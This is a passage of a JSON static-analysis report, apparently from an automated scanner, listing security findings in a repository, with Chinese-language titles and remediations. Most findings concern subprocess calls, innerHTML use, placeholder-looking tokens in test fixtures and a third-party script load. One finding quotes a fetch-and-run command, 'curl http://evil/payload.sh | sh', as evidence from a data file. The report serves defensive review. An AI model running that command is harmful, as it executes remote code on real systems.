执行，并公开命令、参数及审批策略。","hash":"397f8015be75bdb471206cec"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/update_status.py","pathClass":"source","line":41,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"a42a4e873ebeccf62d15d0b7"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/update_status.py","pathClass":"source","line":50,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"a42a4e873ebeccf62d15d0b7"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/verify_task.py","pathClass":"source","line":52,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"8eb2401bbfa115992546f7bb"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/verify_task.py","pathClass":"source","line":110,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"8eb2401bbfa115992546f7bb"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"tasks/lesson-github-actions-code-injection.json","pathClass":"data","line":12,"evidence":"curl http://evil/payload.sh | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"出现在数据文件中，可能是文本样本而非执行路径","hash":"d2fdfe0efff5983cc20b8dda"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"tests/fixtures/intake_spam_guard_corpus.json","pathClass":"test-example-docs","line":74,"evidence":"ghp_ABCdefGHIJklmnoPQRstuvWXYZ1234567890","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"包含占位/示例词汇；位于测试、示例或文档目录","hash":"afef05d8fc70413869344b6c"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"tests/fixtures/intake_spam_guard_corpus.json","pathClass":"test-example-docs","line":75,"evidence":"sk-ant-api03-abcdefghijklmnopqrstuvwxyz1234567890","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"包含占位/示例词汇；位于测试、示例或文档目录","hash":"eaecdb300e235df186d0f366"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"tests/frontend.test.js","pathClass":"test-example-docs","line":45,"evidence":".innerHTML =","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"位于测试、示例或文档目录","hash":"9d45ffdb2f726b4913726212"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"tests/frontend.test.js","pathClass":"test-example-docs","line":92,"evidence":".innerHTML =","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"附近存在清洗/转义调用；位于测试、示例或文档目录","hash":"9d45ffdb2f726b4913726212"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"tests/test_benchmark_fixtures.py","pathClass":"test-example-docs","line":37,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"bfa69b61f62644f3d037ad49"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"tests/test_benchmark_fixtures.py","pathClass":"test-example-docs","line":49,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"bfa69b61f62644f3d037ad49"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"tests/test_ci_self_heal.py","pathClass":"test-example-docs","line":21,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"a5e4c12766e9a1f870905934"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"tests/test_ci_self_heal.py","pathClass":"test-example-docs","line":81,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"a5e4c12766e9a1f870905934"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"tests/test_intake_redaction.py","pathClass":"test-example-docs","line":40,"evidence":"xoxb-1234567890-1234567890123-abc","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"包含占位/示例词汇；位于测试、示例或文档目录","hash":"b8bca37cd82bdf9b5c596ad4"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"tests/test_intake_redaction.py","pathClass":"test-example-docs","line":57,"evidence":"-----BEGIN RSA PRIVATE KEY-----","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"位于测试、示例或文档目录","hash":"cb5a54653f4c4dc43747ad50"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"tests/test_intake_spam_guard.py","pathClass":"test-example-docs","line":62,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"3db4f98d60f6af7213d556a1"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"tests/test_intake_spam_guard.py","pathClass":"test-example-docs","line":73,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"3db4f98d60f6af7213d556a1"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"tests/test_intake_spam_guard.py","pathClass":"test-example-docs","line":150,"evidence":"ghp_1234567890abcdefghijklmnopqrstuvwxyz","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"包含占位/示例词汇；位于测试、示例或文档目录","hash":"33723915c45387a83851ae26"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"tests/test_lesson_gate.py","pathClass":"test-example-docs","line":207,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"a6dac57b10121eb2f907fc41"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"tests/test_lesson_gate.py","pathClass":"test-example-docs","line":216,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"a6dac57b10121eb2f907fc41"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"tests/test_queue_lesson_dry_run.py","pathClass":"test-example-docs","line":15,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"2434340d7435e4c4ac12e81e"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"tests/test_tombstone_redaction.py","pathClass":"test-example-docs","line":16,"evidence":"ghp_abcdefghijklmnopqrstuvwxyzABCDEFGHIJ","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"包含占位/示例词汇；位于测试、示例或文档目录","hash":"01ae8df0f650ca6b9499e214"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"tests/test_unsolved_map.py","pathClass":"test-example-docs","line":96,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"0dfda0cb728a254155072e4e"},{"id":"HT-CLIENT-002","title":"从第三方地址加载浏览器脚本","severity":"medium","confidence":"medium","layer":"static","path":"workers/email-register/src/index.js","pathClass":"source","line":319,"evidence":"<script src=\"https://challenges.cloudflare.com/turnstile/v0/api.js","remediation":"固定并随插件分发客户端依赖，或使用带 integrity 校验的受信任来源。","hash":"c8fb0852aca652b5ec0c0c6d","review":{"verdict":"functional","reason":"该 script 标签加载的是 Cloudflare 官方 Turnstile 人机验证脚本（challenges.cloudflare.com），用于邮箱注册表单防机器人，属于该 Worker 页面的正常功能组成部分。","model":"sonnet@p2","reviewedAt":"2026-08-21T11:18:24.754Z"}},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"medium","layer":"static","path":"workers/register-proxy-sw.js","pathClass":"source","line":1600,"evidence":".innerHTML =","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","hash":"8591f0c02ab707849c2c2276"}],"counts":{"critical":0,"high":0,"medium":2,"low":52},"rawCounts":{"critical":14,"high":0,"medium":18,"low":72},"vulnerabilities":[],"coverage":{"source":"complete","manifest":"complete","bundleConfig":"complete","dependencies":"lockfile-present","vulnerabilities":"complete","identity":"complete","artifact":"not-compared","llmReview":"complete","dynamicRuntime":"not-run","humanReview":"not-run"},"inventory":{"filesScanned":1408,"bytesScanned":6821057,"truncated":false,"lockfiles":["package-lock.json"],"pathClasses":{"test-example-docs":420,"yaml":4,"markdown":658,"source":165,"script":10,"data":143,"cordis":1,"i18n":2,"manifest":5}},"limitations":["此结果为源码静态检测，不等同于无漏洞证明。","尚未比对 npm 发布包与源码的一致性，也未执行隔离运行和人工复核。","危险能力可能是插件功能所需，需结合用途与证据人工判断。"],"limitationKeys":["static-analysis-only","no-artifact-runtime-human-review","capability-needs-context"],"review":{"model":"sonnet","reviewedAt":"2026-08-22T08:19:48.891Z","summary":null,"intentMatch":null,"findingsReviewed":1,"findingsCandidates":1,"fromCache":1,"usage":null}},"timeline":[{"scannedAt":"2026-08-22T08:19:48.890Z","commit":"dd175ef93401ee3c2c9ae2e36dd93ee4dcb9a893","policyVersion":"HT-DSH-0.2.2","verdict":"caution","status":"static-complete"},{"scannedAt":"2026-08-21T11:18:24.754Z","commit":"dd92fad6109e88d1bf40c4335d7fc17d5ea3510a","policyVersion":"HT-DSH-0.2.1","verdict":"caution","status":"static-complete"},{"scannedAt":"2026-08-21T10:46:05.638Z","commit":"3c6f68f71481762a3c1166836256945ce0e4035e","policyVersion":"HT-DSH-0.2.0","verdict":"caution","status":"static-complete"}],"events":[{"kind":"policy-change","from":"HT-DSH-0.2.1","to":"HT-DSH-0.2.2","commit":"dd175ef93401ee3c2c9ae2e36dd93ee4dcb9a893","policyVersion":"HT-DSH-0.2.2","at":"2026-08-22T08:19:48.890Z"},{"kind":"policy-change","from":"HT-DSH-0.2.0","to":"HT-DSH-0.2.1","commit":"dd92fad6109e88d1bf40c4335d7fc17d5ea3510a","policyVersion":"HT-DSH-0.2.1","at":"2026-08-21T11:18:24.754Z"},{"kind":"first-scan","from":null,"to":"caution","commit":"3c6f68f71481762a3c1166836256945ce0e4035e","policyVersion":"HT-DSH-0.2.0","at":"2026-08-21T10:46:05.638Z"}]}